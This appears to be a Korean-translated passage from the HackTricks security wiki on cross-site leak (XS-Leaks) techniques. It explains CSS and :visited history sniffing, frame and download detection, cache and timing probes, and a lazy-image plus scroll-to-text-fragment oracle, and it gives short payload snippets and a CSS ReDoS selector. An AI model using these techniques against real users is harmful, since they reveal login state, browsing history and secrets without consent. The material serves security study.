* **HTMLMediaElement**: 이 요소는 미디어의 `duration` 및 `buffered` 시간을 노출하며, API를 통해 액세스할 수 있습니다. [HTMLMediaElement에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
* **HTMLVideoElement**: `videoHeight` 및 `videoWidth`를 노출합니다. 일부 브라우저에서는 `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, `webkitDecodedFrameCount`와 같은 추가 속성이 제공되어 미디어 콘텐츠에 대한 더 심층적인 정보를 제공합니다. [HTMLVideoElement에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
* **getVideoPlaybackQuality()**: 이 함수는 `totalVideoFrames`를 포함한 비디오 재생 품질에 대한 세부 정보를 제공합니다. [getVideoPlaybackQuality()에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
* **HTMLImageElement**: 이 요소는 이미지의 `height` 및 `width`를 노출합니다. 그러나 이미지가 잘못된 경우 이러한 속성은 0을 반환하며, `image.decode()` 함수가 거부되어 이미지를 제대로로 로드하지 못했음을 나타냅니다. [HTMLImageElement에 대해 더 알아보기](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)

### CSS 속성

* **포함 방법**: HTML 요소
* **감지 가능한 차이**: 페이지 콘텐츠
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **요약:** 사용자의 상태나 상태와 관련된 웹사이트 스타일링의 변화를 식별합니다.
* **코드 예시**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)

웹 애플리케이션은 **사용자의 상태에 따라 웹사이트 스타일을 변경**할 수 있습니다. 공격자 페이지에 **HTML 링크 요소**를 통해 교차 출처 CSS 파일을 포함하고, **규칙**이 **공격자 페이지에 적용**됩니다. 페이지가 이러한 규칙을 동적으로 변경하는 경우, 공격자는 사용자 상태에 따라 이러한 **차이점**을 **감지**할 수 있습니다.\
누출 기술로, 공격자는 특정 HTML 요소의 CSS 속성을 **읽기 위해** `window.getComputedStyle` 메서드를 사용할 수 있습니다. 결과적으로, 영향을 받는 요소와 속성 이름이 알려진 경우 공격자는 임의의 CSS 속성을 읽을 수 있습니다.

### CSS 히스토리

* **포함 방법**: HTML 요소
* **감지 가능한 차이**: 페이지 콘텐츠
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **요약:** URL에 `:visited` 스타일이 적용되었는지 감지합니다.
* **코드 예시**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)

{% hint style="info" %}
[**여기**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)에 따르면, headless Chrome에서는 작동하지 않습니다.
{% endhint %}

CSS `:visited` 선택기는 사용자가 이전에 방문한 URL을 다르게 스타일링하는 데 사용됩니다. 과거에는 `getComputedStyle()` 메서드를 사용하여 이러한 스타일 차이를 식별할 수 있었습니다. 그러나 현대 브라우저는 이 메서드가 링크의 상태를 공개하지 못하도록 보안 조치를 시행했습니다. 이러한 조치에는 항상 방문한 것처럼 계산된 스타일을 반환하고 `:visited` 선택기로 적용할 수 있는 스타일을 제한하는 것이 포함됩니다.

이러한 제한에도 불구하고, 방문한 링크의 상태를 간접적으로 식별할 수 있습니다. 한 기술은 사용자가 CSS에 영향을 받는 영역과 상호 작용하도록 속이는 것을 포함합니다. 특히 `mix-blend-mode` 속성을 활용합니다. 이 속성은 요소를 배경과 혼합할 수 있어 사용자 상호 작용에 따라 방문한 상태를 나타낼 수 있습니다.

또한, 사용자 상호 작용 없이 링크의 렌더링 시간을 이용하여 감지할 수 있습니다. 브라우저는 방문한 링크와 방문하지 않은 링크를 다르게 렌더링할 수 있으므로, 이는 렌더링에 시간 차이를 도입할 수 있습니다. Chromium 버그 보고서에 PoC가 언급되어 있어, 이 기술을 사용하여 여러 링크를 사용하여 시간 차이를 증폭시키고, 이를 통해 방문한 상태를 시간 분석을 통해 감지할 수 있습니다.

이러한 속성 및 방법에 대한 자세한 내용은 해당 문서 페이지를 방문하십시오:

* `:visited`: [MDN 문서](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
* `getComputedStyle()`: [MDN 문서](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
* `mix-blend-mode`: [MDN 문서](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### ContentDocument X-Frame Leak

* **포함 방법**: 프레임
* **감지 가능한 차이**: 헤더
* **더 많은 정보**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **요약:** Google Chrome에서 X-Frame-Options 제한으로 인해 교차 출처 사이트에 임베드되는 페이지가 차단될 때 전용 오류 페이지가 표시됩니다.
* **코드 예시**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)

Chrome에서 `X-Frame-Options` 헤더가 "deny" 또는 "same-origin"으로 설정된 페이지가 객체로 임베드되면 오류 페이지가 나타납니다. Chrome은 이 객체의 `contentDocument` 속성에 대해 다른 브라우저나 iframe과 달리 `null` 대신 빈 문서 객체를 반환합니다. 공격자는 빈 문서를 감지하여 사용자 상태에 대한 정보를 노출시킬 수 있으며, 특히 개발자가 종종 X-Frame-Options 헤더를 일관되게 설정하지 않고 오류 페이지를 간과하는 경우에 해당합니다. 이러한 유출을 방지하기 위해 보안 헤더의 인식과 일관된 적용이 중요합니다.

### 다운로드 감지

* **포함 방법**: 프레임, 팝업
* **감지 가능한 차이**: 헤더
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **요약:** 공격자는 iframe을 활용하여 파일 다운로드를 식별할 수 있습니다. iframe의 계속된 접근은 파일 다운로드가 성공적으로 이루어졌음을 시사합니다.
* **코드 예시**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)

특히 `Content-Disposition: attachment`와 같은 `Content-Disposition` 헤더는 브라우저에게 콘텐츠를 인라인으로 표시하는 대신 다운로드하도록 지시합니다. 이 동작은 사용자가 파일 다운로드를 트리거하는 페이지에 액세스할 수 있는지 여부를 감지하는 데 악용될 수 있습니다. Chromium 기반 브라우저에서는 이 다운로드 동작을 감지하기 위한 몇 가지 기술이 있습니다:

1. **다운로드 바 모니터링**:
* Chromium 기반 브라우저에서 파일을 다운로드하면 브라우저 창 하단에 다운로드 바가 나타납니다.
* 창 높이의 변화를 모니터링함으로써 공격자는 다운로드 바의 나타남을 추론하여 다운로드가 시작되었음을 시사할 수 있습니다.
2. **iframe을 사용한 다운로드 네비게이션**:
* 페이지가 `Content-Disposition: attachment` 헤더를 사용하여 파일 다운로드를 트리거하는 경우, 이는 네비게이션 이벤트를 발생시키지 않습니다.
* iframe에서 콘텐츠를 로드하고 네비게이션 이벤트를 모니터링함으로써 콘텐츠 디스포지션이 파일 다운로드를 유발하는지(네비게이션 없음) 여부를 확인할 수 있습니다.
3. **iframe 없이 다운로드 네비게이션**:
* iframe 기술과 유사하게, 이 방법은 iframe 대신 `window.open`을 사용합니다.
* 새로 열린 창에서 네비게이션 이벤트를 모니터링함으로써 파일 다운로드가 트리거되었는지(네비게이션 없음) 또는 콘텐츠가 인라인으로 표시되었는지(네비게이션이 발생) 확인할 수 있습니다.

로그인한 사용자만 이러한 다운로드를 트리거할 수 있는 시나리오에서는 이러한 기술을 사용하여 브라우저의 다운로드 요청에 대한 응답을 통해 사용자의 인증 상태를 간접적으로 추론할 수 있습니다.

### 분할된 HTTP 캐시 우회 <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>

* **포함 방법**: 팝업
* **감지 가능한 차이**: 타이밍
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **요약:** 공격자는 iframe을 활용하여 파일 다운로드를 식별할 수 있습니다. iframe의 계속된 접근은 파일 다운로드가 성공적으로 이루어졌음을 시사합니다.
* **코드 예시**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (출처: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))

{% hint style="warning" %}
이 기술이 흥미로운 이유: Chrome은 이제 **캐시 분할**을 갖고 있으며, 새로 열린 페이지의 캐시 키는 다음과 같습니다: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)`, 그러나 ngrok 페이지를 열고 그 안에서 fetch를 사용하면 캐시 키는 다음과 같습니다: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **캐시 키가 다르기 때문에** 캐시를 공유할 수 없습니다. 자세한 내용은 여기에서 확인할 수 있습니다: [보안 및 개인 정보 보호를 위한 캐시 분할 얻기](https://developer.chrome.com/blog/http-cache-partitioning/)\
(출처: [**여기**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% endhint %}

사이트 `example.com`이 `*.example.com/resource`에서 리소스를 포함하는 경우 해당 리소스는 직접 **상위 수준 탐색을 통해 요청된 것과 동일한 캐싱 키**를 갖게 됩니다. 이는 캐시에 액세스하는 것이 리소스를 로드하는 것보다 빠르기 때문에 페이지의 위치를 변경하고 20ms 후에 취소하는 등의 시도를 할 수 있습니다. 중지 후에 원본이 변경된 경우, 리소스가 캐시된 것을 의미합니다.\
또는 **캐시된 페이지로 일부 fetch를 보내고 소요된 시간을 측정**할 수 있습니다.

### 수동 리디렉션 <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **포함 방법**: Fetch API
* **감지 가능한 차이**: 리디렉션
* **더 많은 정보**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234)
* **요약:** fetch 요청에 대한 응답이 리디렉션인지 여부를 확인할 수 있습니다.
* **코드 예시**:

![](<../.gitbook/assets/image (652).png>)

### AbortController와 함께 fetch <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>

* **포함 방법**: Fetch API
* **감지 가능한 차이**: 타이밍
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **요약:** 리소스를 로드하려고 시도하고 로드되기 전에 로딩이 중단될 수 있습니다. 오류가 트리거되면 리소스가 캐시된 것이고 그렇지 않으면 캐시되지 않았음을 확인할 수 있습니다.
* **코드 예시**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)

특정 리소스가 브라우저 캐시에 캐시되었는지 감지하고 특정 리소스를 캐시에서 제거하기 위해 _**fetch**_와 _**setTimeout**_을 **AbortController**와 함께 사용할 수 있습니다. 또한, 이 프로세스는 새로운 콘텐츠를 캐시하지 않고 진행됩니다.
### 스크립트 오염

* **포함 방법**: HTML 요소 (스크립트)
* **감지 가능한 차이점**: 페이지 콘텐츠
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **요약:** **내장 함수를 덮어쓰고** 그 인수를 읽을 수 있으며 심지어 **크로스 오리진 스크립트**에서도 (직접 읽을 수 없는) 이는 **가치 있는 정보를 노출**할 수 있습니다.
* **코드 예시**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)

### 서비스 워커 <a href="#service-workers" id="service-workers"></a>

* **포함 방법**: 팝업
* **감지 가능한 차이점**: 페이지 콘텐츠
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **요약:** 서비스 워커를 사용하여 웹의 실행 시간을 측정합니다.
* **코드 예시**:

주어진 시나리오에서 공격자는 자신의 도메인 중 하나인 "attacker.com"에서 **서비스 워커**를 등록하는 책임을 집니다. 다음으로, 공격자는 대상 웹사이트에서 메인 문서로부터 새 창을 열고 **서비스 워커**에게 타이머를 시작하도록 지시합니다. 새 창이 로드를 시작하면, 공격자는 이전 단계에서 얻은 참조를 **서비스 워커**가 관리하는 페이지로 이동시킵니다.

이전 단계에서 시작된 요청이 도착하면, **서비스 워커**는 **204 (No Content)** 상태 코드로 응답하여 네비게이션 프로세스를 효과적으로 종료합니다. 이 시점에서 **서비스 워커**는 이전 단계에서 시작된 타이머로부터 측정값을 캡처합니다. 이 측정값은 네비게이션 프로세스에서 지연을 일으키는 자바스크립트의 지속 시간에 영향을 받습니다.

{% hint style="warning" %}
실행 시간 측정에서는 **네트워크 요소를 제거**하여 **더 정확한 측정값**을 얻을 수 있습니다. 예를 들어 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드함으로써 가능합니다.
{% endhint %}

### Fetch Timing

* **포함 방법**: Fetch API
* **감지 가능한 차이점**: 타이밍 (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **요약:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow)를 사용하여 요청을 수행하는 데 걸리는 시간을 측정합니다. 다른 시계를 사용할 수도 있습니다.
* **코드 예시**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)

### 크로스 윈도우 타이밍

* **포함 방법**: 팝업
* **감지 가능한 차이점**: 타이밍 (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
* **더 많은 정보**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **요약:** `window.open`을 사용하여 요청을 수행하는 데 걸리는 시간을 측정하기 위해 [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow)를 사용합니다. 다른 시계를 사용할 수도 있습니다.
* **코드 예시**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**할 수 있습니다.\
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## HTML 또는 다시 주입으로

여기서는 **크로스 오리진 HTML에서 정보를 유출하는 기술**을 찾을 수 있습니다. 이러한 기술은 **HTML을 주입할 수 있지만 JS 코드를 주입할 수 없는 경우** 특히 흥미로운 경우입니다.

### 떨어져 있는 마크업

{% content-ref url="dangling-markup-html-scriptless-injection/" %}
[dangling-markup-html-scriptless-injection](dangling-markup-html-scriptless-injection/)
{% endcontent-ref %}

### 이미지 지연 로딩

만약 **콘텐츠를 유출**하고 **비밀 정보 이전에 HTML을 추가**할 수 있다면 **일반적인 떨어져 있는 마크업 기술**을 확인해야 합니다.\
그러나 어떤 이유로 인해 **문자 단위로** 해야 하는 경우(통신이 캐시 히트를 통해 이루어지는 경우일 수 있음) 이 트릭을 사용할 수 있습니다.

HTML의 **이미지**에는 "**loading**" 속성이 있으며 값은 "**lazy**"일 수 있습니다. 이 경우 이미지는 페이지가 로드되는 동안이 아닌 이미지가 보일 때 로드됩니다:
```html
<img src=/something loading=lazy >
```
따라서 할 수 있는 일은 **많은 쓰레기 문자(예: 수천 개의 "W")를 추가하여** **비밀을 추가하기 전에 웹 페이지를 채우거나** `<br><canvas height="1850px"></canvas><br>`와 같은 것을 추가하는 것입니다.\
그런 다음 예를 들어 **우리의 인젝션이 플래그 앞에 나타나면**, **이미지**가 **로드**될 것이지만, **플래그 뒤에 나타나면**, 플래그와 쓰레기가 함께 있어 **로드되지 않을 것입니다**(얼마나 많은 쓰레기를 넣어야 하는지 조절해야 합니다). 이것이 [**이 논문**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)에서 발생한 일입니다.

또 다른 옵션은 허용된다면 **scroll-to-text-fragment**를 사용하는 것입니다:

#### Scroll-to-text-fragment

그러나 **봇이 페이지에 액세스하도록** 만드는 것입니다.
```
#:~:text=SECR
```
웹 페이지는 다음과 같을 것입니다: **`https://victim.com/post.html#:~:text=SECR`**

post.html에는 공격자의 쓰레기 문자와 지연 로드 이미지가 포함되어 있고, 그리고 봇의 비밀이 추가됩니다.

이 텍스트가 하는 일은 봇이 페이지에서 `SECR` 텍스트를 포함하는 모든 텍스트에 액세스하도록 만드는 것입니다. 해당 텍스트가 비밀이며 **이미지 바로 아래에 있으므로**, **이미지는 추측된 비밀이 올바른 경우에만 로드됩니다**. 그래서 여기에 **비밀을 문자 단위로 유출하는 오라클**가 있습니다.

이를 악용하는 코드 예시: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)

### 이미지 지연 로딩 시간 기반

**외부 이미지를 로드할 수 없는 경우** 이미지가 로드되었음을 알려주는 공격자가 있을 수 있습니다. 다른 옵션은 **여러 번 문자를 추측하고 그 시간을 측정하는 것**입니다. 이미지가 로드되면 모든 요청이 로드되지 않은 경우보다 더 오래 걸릴 것입니다. 이것이 [**이 문제의 해결책**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **요약에서 사용된 것입니다:**

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

### ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %}
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
{% endcontent-ref %}

### CSS ReDoS

`jQuery(location.hash)`를 사용하는 경우, **일부 HTML 콘텐츠가 존재하는지 시간 측정을 통해 확인**할 수 있습니다. 이는 `main[id='site-main']` 셀렉터가 일치하지 않으면 나머지 **셀렉터를 확인할 필요가 없기 때문**입니다.
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
### CSS Injection

{% content-ref url="xs-search/css-injection/" %}
[css-injection](xs-search/css-injection/)
{% endcontent-ref %}

## 방어

[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)에서 권장하는 방어책들과 [https://xsleaks.dev/](https://xsleaks.dev/) 위키 각 섹션에서도 권장하는 방어책들이 있습니다. 이러한 기술에 대한 방어 방법에 대한 자세한 정보는 해당 링크를 참조하십시오.

## 참고 자료

* [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
* [https://xsleaks.dev/](https://xsleaks.dev)
* [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
* [https://xsinator.com/](https://xsinator.com/)
* [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

HackTricks를 지원하는 다른 방법:

* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.

</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}